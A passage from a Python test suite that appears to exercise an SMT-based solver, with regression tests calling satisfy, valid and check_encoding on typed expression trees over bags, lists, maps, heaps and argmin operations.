TNative('HostAndPort'))))))), ELambda(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), ECond(EBinOp(EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), '==', EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(TBool()), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('_var534').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))).with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('newstate').with_type(TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT')))]), collection_depth=2, validate_model=True) def test_regression15(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('unique', EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), '==', EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('conns').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('_var685').with_type(TList(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort'))))))), EVar('_var690').with_type(TBag(THandle('Request', TRecord((('rq_time', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('GetConnectionCallback'))))))), EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')))))), EVar('newstate').with_type(TEnum(('READY', 'PROCESSING', 'DROPPED', 'CHECKED_OUT')))]), collection_depth=2, validate_model=True) def test_regression16(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 0).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('sum', EMap(EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '<', ENum(50).with_type(TInt())).with_type(TBool()), 'and', EUnaryOp('unique', EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 0).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool()), 'and', EBinOp(EBinOp(EUnaryOp('sum', EMap(EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '<', ENum(50).with_type(TInt())).with_type(TBool()), 'and', EUnaryOp('unique', EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(ECall('startOffset', (EVar('offsetAtt').with_type(TNative('OffsetAttribute')),)).with_type(TInt()), '>=', EArgMax(EMap(EFilter(EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ECall('floatGtZero', (EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'score').with_type(TNative('Float')),)).with_type(TBool()))).with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'endOffset').with_type(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var550').with_type(TInt()), EVar('_var550').with_type(TInt()))).with_type(TInt())).with_type(TBool()), '==', EBinOp(ECall('startOffset', (EVar('_var861').with_type(TNative('OffsetAttribute')),)).with_type(TInt()), '>=', EArgMax(EMap(EFilter(EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), ECall('floatGtZero', (EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'score').with_type(TNative('Float')),)).with_type(TBool()))).with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), ELambda(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), EGetField(ETupleGet(EVar('_var563').with_type(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))))), 1).with_type(TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt())))), 'endOffset').with_type(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var550').with_type(TInt()), EVar('_var550').with_type(TInt()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('tokens').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), EVar('_var860').with_type(TBag(TTuple((TInt(), TRecord((('score', TNative('Float')), ('startOffset', TInt()), ('endOffset', TInt()))))))), EVar('offsetAtt').with_type(TNative('OffsetAttribute')), EVar('_var861').with_type(TNative('OffsetAttribute'))]), collection_depth=2, validate_model=True) def test_any_1(self): xs = EVar("xs").with_type(BOOL_BAG) e = EUnaryOp(UOp.Any, xs).with_type(BOOL) a = EEq(EUnaryOp(UOp.Length, xs).with_type(INT), ZERO) satisfy(EAll((a, e)), validate_model=True) def test_bag_subtraction1(self): xs = EVar("xs").with_type(TBag(INT)) e = equal(EBinOp(xs, "-", xs), EEmptyList().with_type(xs.type)) assert retypecheck(e) assert valid(e) def test_bag_subtraction2(self): xs = EVar("xs").with_type(TBag(INT)) foo = EVar("foo").with_type(INT) e = equal(EBinOp(xs, "-", ESingleton(foo)), EEmptyList().with_type(xs.type)) assert retypecheck(e) assert not valid(e, collection_depth=2) def test_str_literal_cmp(self): v = EVar("s").with_type(STRING) s = EStr("").with_type(STRING) assert not satisfiable(EBinOp(v, "<", s).with_type(BOOL)) for op in ("==", "<=", ">", ">="): e = EBinOp(v, op, s).with_type(BOOL) model = satisfy(e) assert model is not None assert { "==": model[v.id] == s.val, ">" : model[v.id] > s.val, ">=": model[v.id] >= s.val, "<" : model[v.id] < s.val, "<=": model[v.id] <= s.val, }[op], "{} {} {}".format(repr(model[v.id]), op, repr(s.val)) def test_map_default_value(self): xs = EVar("xs").with_type(TBag(INT)) x = EVar("x").with_type(INT) m = EMakeMap2(xs, mk_lambda(INT, lambda y: y)) e = EAll([ equal(x, EMapGet(EMakeMap2(EEmptyList().with_type(xs.type), mk_lambda(INT, lambda y: y)), x)), EBinOp(x, BOp.In, xs), EBinOp(x, BOp.In, EMapKeys(m)), ]) assert retypecheck(e) model = satisfy(e, validate_model=True) assert model def test_function_extraction01(self): x = EVar("x").with_type(INT) e = EEq(ECall("f", (x,)).with_type(INT), ZERO) model = satisfy(e) assert model assert model["f"](model["x"]) == 0 def test_function_extraction02(self): x = EVar("x").with_type(TNative("Foo")) e = ECall("f", (x,)).with_type(TBool()) model = satisfy(e) assert "x" in model assert "f" in model assert model["f"](model["x"]) is True def test_function_extraction03(self): x = EVar("x").with_type(TNative("Foo")) model = satisfy(EEq(x, x), funcs={ "f": TFunc((x.type,), BOOL) }) assert "x" in model assert "f" in model assert model["f"](model["x"]) in (True, False) def test_function_extraction04(self): x = EVar("x").with_type(TNative("Foo")) model = satisfy(EEq(x, x), funcs={ "f": TFunc((), BOOL) }) assert "x" in model assert "f" in model assert model["f"]() in (True, False) def test_function_extraction05(self): x = EVar("x").with_type(TNative("Foo")) e = ECall("f", ()).with_type(x.type) model = satisfy(EEq(x, e)) assert "x" in model assert "f" in model assert model["f"](model["x"]) == model["x"] def test_argmin1(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EBinOp(EArgMin(EBinOp(EVar('xs').with_type(TBag(TInt())), '+', ESingleton(EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt()), '+', EUnaryOp('-', EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt())).with_type(TInt())).with_type(TInt()), '==', EBinOp(EArgMin(EBinOp(EVar('_var164').with_type(TBag(TInt())), '+', ESingleton(EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt()), '+', EUnaryOp('-', EArgMin(EVar('_var164').with_type(TBag(TInt())), ELambda(EVar('_var148').with_type(TInt()), EVar('_var148').with_type(TInt()))).with_type(TInt())).with_type(TInt())).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(TInt())), EVar('i').with_type(TInt()), EVar('_var164').with_type(TBag(TInt()))]), collection_depth=2, validate_model=True) def test_argmin2(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var70138').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var41073').with_type(TInt()), ESingleton(EVar('_var41073').with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var70138').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var41074').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var41073').with_type(TInt()), EVar('_var41074').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var41073').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var70138').with_type(TInt()), EVar('xs').with_type(TBag(TInt())), EVar('i').with_type(TInt()), EVar('_var41073').with_type(TInt())]), collection_depth=2, validate_model=True) def test_argmin3(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var157969').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29812').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29811').with_type(TInt()), EVar('_var29812').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var29811').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var157969').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29811').with_type(TInt()), EVar('_var29811').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var29812').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var29811').with_type(TInt()), EVar('_var29812').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var29811').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var157969').with_type(TInt()), EVar('xs').with_type(TBag(TInt())), EVar('_var29811').with_type(TInt())]), collection_depth=2, validate_model=True) def test_argmin4(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var172384').with_type(TInt()), 'in', EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9301').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9301').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var9300').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var172384').with_type(TInt()), 'in', ECond(EBinOp(EVar('i').with_type(TInt()), '>', EArgMin(EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9301').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9301').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var9300').with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBool()), ESingleton(EArgMin(EMapGet(EStateVar(EMakeMap2(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9301').with_type(TInt()), ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9301').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt())))).with_type(TMap(TInt(), TBag(TInt()))), EVar('_var9300').with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var9300').with_type(TInt()), EVar('_var9300').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ESingleton(EVar('i').with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var172384').with_type(TInt()), EVar('xs').with_type(TBag(TInt())), EVar('_var9300').with_type(TInt()), EVar('i').with_type(TInt())]), collection_depth=2, validate_model=True) def test_argmin5(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var16748').with_type(TInt()), 'in', EStateVar(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var1021').with_type(TInt()), EVar('_var1021').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var16748').with_type(TInt()), 'in', EVar('xs').with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var16748').with_type(TInt()), EVar('xs').with_type(TBag(TInt()))]), collection_depth=2, validate_model=True) def test_argmin6(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EUnaryOp('sum', EMap(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '>=', ENum(2).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EUnaryOp('sum', EMap(EVar('_var66').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '>=', ENum(2).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EArgMin(EBinOp(EVar('xs').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt()), '==', EArgMin(EBinOp(EVar('_var66').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('_var66').with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var32').with_type(TInt()), EVar('_var32').with_type(TInt()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(TInt())), EVar('_var66').with_type(TBag(TInt()))]), collection_depth=2, validate_model=True) def test_argmin7(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('sum', EMap(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), ENum(1).with_type(TInt()))).with_type(TBag(TInt()))).with_type(TInt()), '>=', ENum(2).with_type(TInt())).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EUnaryOp('not', EBinOp(EVar('_var616').with_type(TInt()), 'in', EBinOp(EBinOp(EVar('xs').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), '-', ESingleton(EArgMin(EBinOp(EVar('xs').with_type(TBag(TInt())), '-', ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('_var616').with_type(TInt()), 'in', EBinOp(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), '-', ESingleton(EArgMin(ESingleton(EArgMin(EVar('xs').with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt())), ELambda(EVar('_var35').with_type(TInt()), EVar('_var35').with_type(TInt()))).with_type(TInt())).with_type(TBag(TInt()))).with_type(TBag(TInt()))).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(TInt())), EVar('_var616').with_type(TInt())]), collection_depth=2, validate_model=True) def test_minheap(self): e = EVar("h").with_type(TMinHeap(BOOL, INT)) check_encoding(e, require=EGt(ELen(EHeapElems(e).with_type(BOOL_BAG)), TWO)) def test_maxheap(self): e = EVar("h").with_type(TMaxHeap(BOOL, INT)) check_encoding(e, require=EGt(ELen(EHeapElems(e).with_type(BOOL_BAG)), TWO)) def test_lists1(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('l').with_type(TList(TNative('Object'))), '==', EDropFront(EBinOp(EVar('l').with_type(TList(TNative('Object'))), '+', ESingleton(EListGet(EVar('l').with_type(TList(TNative('Object'))), ENum(0).with_type(TInt())).with_type(TNative('Object'))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('l').with_type(TList(TNative('Object')))]), collection_depth=2, validate_model=True) def test_lists2(self): xs = EVar("xs").with_type(TList(INT)) e = ENot(EEq(xs, xs)) assert not satisfiable(e, collection_depth=2, validate_model=True) def test_lists3(self): xs = EVar("xs").with_type(TList(INT)) ys = EVar("ys").with_type(TList(INT)) e = EAll([EEq(xs, ys), EUnaryOp(UOp.Exists, xs).with_type(BOOL)]) check_encoding(e, collection_depth=2) def test_lists4(self): xs = EVar("xs").with_type(TList(INT)) e = EEq(xs, EDropFront(xs).with_type(xs.type)) check_encoding(e, collection_depth=2) def test_lists5(self): xs = EVar("xs").with_type(TList(INT)) e = EAll([ EUnaryOp(UOp.Empty, EDropFront(xs).with_type(xs.type)).with_type(BOOL), EUnaryOp(UOp.Exists, xs).with_type(BOOL)]) check_encoding(e, collection_depth=2) def test_listget_performance(self): a = EVar("a").with_type(TList(TString())) b = EVar("b").with_type(a.type) i = EVar("i").with_type(INT) f = EEq(EListGet(a, i).with_type(a.type.t), EListGet(b, i).with_type(a.type.t)) for d in range(0, 6): d = 2**d print("depth={}...".format(d)) m = satisfy(f, collection_depth=d, validate_model=True) print(m) assert m is not None def test_listget_regression1(self): satisfy(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EVar('isDropped').with_type(TBool()), '=>', EBinOp(EBinOp(EVar('dropped').with_type(TInt()), '>=', ENum(0).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EVar('dropped').with_type(TInt()), '<', EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('exists', EVar('xs').with_type(TList(TFloat()))).with_type(TBool())).with_type(TBool()), '=>', EBinOp(EUnaryOp('the', ECond(EStateVar(EVar('isDropped').with_type(TBool())).with_type(TBool()), EBinOp(EStateVar(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), '-', ESingleton(EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), EStateVar(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TFloat()), '==', ECond(EStateVar(EVar('isDropped').with_type(TBool())).with_type(TBool()), ECond(EBinOp(EStateVar(EUnaryOp('the', EFilter(EVar('xs').with_type(TList(TFloat())), 